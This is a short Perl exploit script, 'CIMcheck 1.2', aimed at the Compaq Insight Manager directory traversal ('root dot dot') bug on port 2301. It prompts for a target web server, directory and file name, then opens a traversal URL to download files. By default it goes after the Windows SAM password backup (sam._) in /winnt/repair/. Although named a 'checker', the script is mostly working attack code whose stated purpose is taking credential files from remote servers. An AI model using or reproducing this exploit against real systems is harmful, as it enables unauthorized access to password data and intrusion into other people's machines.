#! c:\perl\bin\perl.exe

# CIMcheck 1.2 - Compaq Insight Manager Exploit Checker By Neon-Lenz
# ------------------------------------------------------------------
# Yea i know this little script is very easy to code and lame, but
# what the hell. This should do the job. Assuming i'm still learning Perl..
# Still i'll try to do my best and code a better script next time!
# Greets to: Acid Blades, B-r00t, KGB, ThePike and Trib.
# -Neon-Lenz. - neonlenz@nightmail.com

# Usage: perl CIMcheck2.pl

print <<"EOT";

CIMcheck 1.2 - Compaq Insight Manager Exploit Checker By Neon-Lenz
------------------------------------------------------------------
CIMcheck 1.2 checks for the (in)famous Compaq Insight Manager
"root dot dot bug". To check this the remote webserver MUST be
running NT, the script will not work on Novell Netware and hosts
with ports other then 2301 open. e-mail: neonlenz\@nightmail.com

Description:
-----------
This little exploit-script opens up the exploitable url and when using
default the script will attempt to get the sam._ backup password file
from the remote /winnt/repair/ directory. The cool option is that you can
specify which file you want to download, default is the /winnt/repair/
directory and the sam._ backup password file. But if you assign the script
like this: directory /winnt/ and file win.ini, then it will try to
download the win.ini file from the winnt directory from the remote webserver.

Usage: perl CIMcheck2.pl

EOT

print <<"EOT";

Please type in the remote webserver, ex: www.microsoft.com
(default remote webserver is "www.microsoft.com") :

EOT

$host = <>;

print <<"EOT";

Please type in the directory where the file is located you want to download,
ex: /winnt/repair/
(default directory is "/winnt/repair/") :

EOT

$directory = <> || "/winnt/repair/";

print <<"EOT";

Please type in the filename you want ex: sam._ or blabla.asp
(default file is "sam._") :

EOT

$file = <> || "sam._";

{
  system("explorer.exe", "http://$host:2301/../../..$directory$file");
}

print <<"EOT";

Ok thanks, fetching the requested file...

EOT

print "CIMcheck.pl By Neon-Lenz - email: neonlenz\@nightmail.com\n";

#Yea, no more code, so stop reading it you jerk! ;D
#Visit our website at http://TheGovernment.com/Cyrax